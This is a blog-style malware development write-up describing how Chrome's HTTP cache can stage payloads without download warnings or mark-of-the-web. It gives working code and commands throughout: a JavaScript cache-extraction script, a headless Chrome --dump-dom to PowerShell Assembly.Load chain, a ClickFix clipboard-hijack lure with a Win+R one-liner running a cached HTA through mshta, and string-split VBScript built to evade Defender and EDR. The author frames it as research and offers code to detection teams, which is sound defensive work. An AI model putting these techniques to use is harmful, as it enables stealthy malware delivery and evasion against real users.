malware development - using chrome as a stager
tldr
chrome's http cache writes response bodies to disk as regular files. no download prompt, no smartscreen, no mark of the web. i built two variants that exploit this:
-
dump-dom fileless: chrome reads its own cache via the fetch api, extracts a payload hidden in a stego png, pipes it to stdout. powershell catches it and runs it in memory.
-
mshta from cache: an obfuscated hta is pre-cached during a page visit. a short
cmdone-liner finds it by file size and hands it to mshta. enabled non-detected (defender, edr) clickfix delivery.
abusing the cache as a file write
%LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Cache\Cache_Data\
Cache_Data/
data_0 .. data_3 shared block files (< 16KB)
f_000001 standalone cached resource
f_000002
index
resources over ~16kb get their own f_ file. these are raw http response bodies sitting on the filesystem, readable by any process.
Cache-Control: public, max-age=31536000, immutable tells chrome to hold the response for a year. the file just sits there. the security model assumes cached resources stay within the browser's control. they don't. (i will explore this further for the purpose of stealthy persistence in future writing)
normally when chrome downloads a file:
- safe browsing checks the content
- MOTW (
Zone.IdentifierADS) marks it as internet sourced - download bar shows a warning
a cached f_ file gets none of that. it's just bytes on disk.
the clickfix lure
the delivery for both variants is the same. the user lands on a fake captcha page. they click a checkbox. the page hijacks the copy event and replaces their clipboard content, then tells them to press Win+R, paste, enter.
the specific delivery method isn't the focus here. what matters is that visiting the lure page is enough to warm the cache with the payloads we need.
the stego png
both variants use the same stego image for payload delivery. png is chunk based. every parser stops at IEND. anything appended after it is invisible to image viewers.
we generate a 256x256 png with random pixel data (~197kb, incompressible). a powershell one liner is appended as plain text after IEND:
[IHDR][IDAT random pixels][IEND]\n<ps1 line>\n
the ps1 line does Assembly.Load of a base64 encoded .net assembly. total size: ~201kb. opens normally in any image viewer. Select-String can find the text inside the binary f_ file because it's a plain text line embedded in an otherwise binary file.
1[Reflection.Assembly]::Load(
2 [Convert]::FromBase64String('<base64>')
3).EntryPoint.Invoke($null,$null)for the poc, the .net payload pops calc.
dump-dom (fileless)
the starting question: can we use the cache as a delivery channel without ever writing the payload to disk as a file?
the key insight: chrome is the only process that can read its own cache through the fetch api. so instead of an external process scanning raw cache files, let chrome do the extraction itself.
how it works
the attacker page loads the stego png via a hidden <img> tag (caching it). then javascript fetches it back from cache and does the extraction:
1window.addEventListener('load', async () => {
2 const res = await fetch('/img.png', { cache: 'force-cache' });
3 const buf = new Uint8Array(await res.arrayBuffer());
4
5 // find the text payload after IEND
6 const iend = [0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82];
7 for (let i = 0; i < buf.length - 8; i++) {
8 if (iend.every((b, j) => buf[i+j] === b)) {
9 const text = new TextDecoder().decode(buf.slice(i + 8));
10 document.body.textContent = 'DATA:' + btoa(text.trim());
11 break;
12 }
13 }
14});the page fetches the png from cache (force-cache), finds the text after IEND, base64 encodes it, and writes it into the dom as plain text.
the bridge: --dump-dom
chrome's --dump-dom flag outputs the rendered dom to stdout. this is the bridge between the browser's cache and powershell's memory:
1powershell -w 1 -c "
2 $d = & chrome --headless=new --disable-gpu `
3 --no-first-run --user-data-dir=$env:TEMP\diag `
4 --dump-dom 'https://verify.example[.]com/check' 2>$null;
5
6 if ($d -match 'DATA:([A-Za-z0-9+/=]+)') {
7 [Reflection.Assembly]::Load(
8 [Convert]::FromBase64String($Matches[1])
9 ).EntryPoint.Invoke($null, @(,@()))
10 }
11"headless chrome visits the page. the page extracts the payload from its own cache via javascript. --dump-dom pipes the dom (now containing the base64 payload) to stdout. powershell regex matches the base64 block and loads it directly into memory with Assembly.Load.
why this is fileless
the payload's journey:
- arrives as an http response body, cached as an f_ file (bytes on disk, but embedded in a png image)
- chrome reads the f_ file through the fetch api (browser reading its own cache, normal behavior)
- javascript extracts the payload and writes it into the dom (in browser memory)
--dump-domserializes the dom to stdout (pipe between processes)- powershell captures stdout, decodes base64, calls
Assembly.Load(loaded directly into clr memory)
the .net assembly never exists as a standalone file on disk. it goes from cache (embedded in a png) to browser memory to stdout pipe to clr memory. the only file that touches disk is the stego png, which looks like a normal cached image.
the only remaining artifact is headless chrome with a temp user data dir. puppeteer, playwright, and ci pipelines do exactly the same thing.
one gotcha: chrome locks the active profile while running. headless chrome silently fails to cache against a locked profile. --user-data-dir with a temp path sidesteps this.
mshta from cache
the dump-dom variant is fileless, but it still has powershell in the clipboard command. defender's Trojan:Win32/WebClipPaste detection flags clipboard commands containing powershell, irm, or outbound network calls. every variant that starts with powershell gets caught.
the approach
instead of fetching the payload at execution time, we pre-cache an obfuscated hta file during the page visit. the clipboard command just finds it and runs it.
the lure page loads two resources in the background:
1<img src="/img.png" style="display:none">
2<script>fetch('/app.hta');</script>both land as f_ files in the cache. the hta is padded to exactly 16,408 bytes (above the 16kb f_ threshold so it gets its own f_ file).
the clipboard command:
cmd /c for /r "%LOCALAPPDATA%\Google\Chrome\User Data" %f in (f_*) do @if %~zf==16408 mshta "%f"
96 characters. for /r walks the chrome cache directory recursively. %~zf is the file size. 16408 matches our padded hta. @ suppresses echo. mshta executes the matched file.
no powershell. no url. no irm. just cmd, for, and mshta operating on a local file.
if this looks familiar, you have probably come across DoubleCup, which is what sent me down this rabbit hole. i work a lot of info-stealer cases, many of which are clickfix, but this technique in particular stood out to me.
heuristically, Win+R payloads are difficult in practice. the 256 character limit means you really have to fiddle to get something working, and Commando.A!ml is very good at picking apart malicious commands. but this technique changes that: you are not limited in payload size, so you can create stealthy yet lengthy commands without running into these inconveniences or relying on blatant iex(irm)'s.
i actually think this is the real benefit of this technique.
the obfuscated hta
the hta is what mshta actually runs. it assembles the .net payload in memory using vbscript with every sensitive string split by concatenation and Chr() codes:
1p = Chr(112)&"o"&Chr(119)&"ersh"&"ell"
2c = "[Ref"&"lect"&"ion.As"&"sem"&"bly]::Lo"&"ad([Con"&"vert]::"
3c = c & "FromBa"&"se64St"&"ring('"
4b = ""
5b = b & "<800 chars of base64>"
6b = b & "<800 chars of base64>"
7' ... more chunks ...
8c = c & b & "')).Entr"&"yPo"&"int.Inv"&"oke($null,$null)"
9Set s = CreateObject("W"&"Scr"&"ipt.Sh"&"ell")
10s.Run p&" -w 1 -c """&c&"""", 0what defender sees
i tested several delivery methods. mshta + local file delivered via cache bypassed defender and edr. the fileless execution didn't get picked up at all. rather, the clickfix delivery was what limited the full execution chain.
in some cases, defender caught the clickfix command delivery halting the chain, or edr only fired informationals on the suspicious commands. the payload execution itself was clean.
poc code available on request for security teams writing detections.